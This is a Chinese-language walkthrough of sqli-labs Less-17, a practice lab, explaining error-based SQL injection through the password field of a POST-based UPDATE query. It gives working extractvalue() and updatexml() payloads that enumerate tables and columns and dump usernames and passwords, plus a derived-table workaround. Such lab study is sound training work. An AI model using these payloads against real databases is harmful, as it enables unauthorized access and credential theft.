sqli-lab less-17
less-17的提示可注入的sql语句是update,注入类型为字符型,传参方式为post。
源码中对uname进行了特殊符号过滤并且限制了长度,无法通过select语句处的uname来进行注入,只能通过update处的passwd来进行注入。
报错注入
extractvalue()
语法:extractvalue(目标xml文档,xml路径)
第一个参数可为任意值,因为不需要真实的xml文档。重点在第二个参数,第二个参数为非xpath格式时会产生报错,输出参数内容。extractvalue()能查询字符串的最大长度为32。
利用第二个参数我们可以用sql语句进行查询,通过报错将查询结果输出。
//查询当前使用的数据库中的所有表名,注释可使用#也可使用-- (空格会转成+),可用bp抓包传参
1’or extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())))#
//查询users表的列名
1’or extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=‘users’)))#
//查询users表中的用户名和密码用:(0x3a)分隔,as可省略
1’or extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from (select username,password from users) as a)))#
//字数限制数据只显示了一部分,用where对用户名限制,查找未显示出的数据
1’or extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from (select username,password from users where username not in(‘Dumb’,‘Angelina’) ) as a)))#
注意,不能直接从要修改的表users进行查询,会报错You can’t specify target table ‘users’ for update in FROM clause。即在一条sql语句中不能在update这个表之后再select出这个表中的值。
构造的注入语句外层select查询的是里层select查询出的users的用户名和密码生成的派生表a,查询到的多个数据组合拼接成一个字符串与字符~(0x7e)再进行拼接形成extractvalue的第二个参数。
updatexml()
语法:updatexml(目标xml文档,xml路径,更新的内容)
与extractvalue()类似,第一个和第三个参数内容任意,在第二个参数处查询数据。updatexml()能查询字符串的最大长度为32。
//查询当前使用的数据库中的所有表名
1’or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),1)#
//查询users表的列名
1’or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=‘users’)),1)#
//查询users表中的数据
1’or updatexml(1,concat(0x7e,(select group_concat(username,0x3a,password) from (select username,password from users) as a)),1)#